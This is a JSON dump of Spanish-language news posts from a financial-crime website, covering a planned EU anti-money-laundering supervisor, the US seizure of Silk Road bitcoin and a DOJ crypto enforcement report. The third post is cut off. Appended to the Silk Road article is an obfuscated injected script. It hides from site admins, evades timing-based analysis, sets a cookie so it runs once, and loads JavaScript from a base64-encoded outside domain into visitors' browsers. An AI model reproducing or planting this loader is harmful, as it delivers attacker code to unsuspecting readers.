src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, 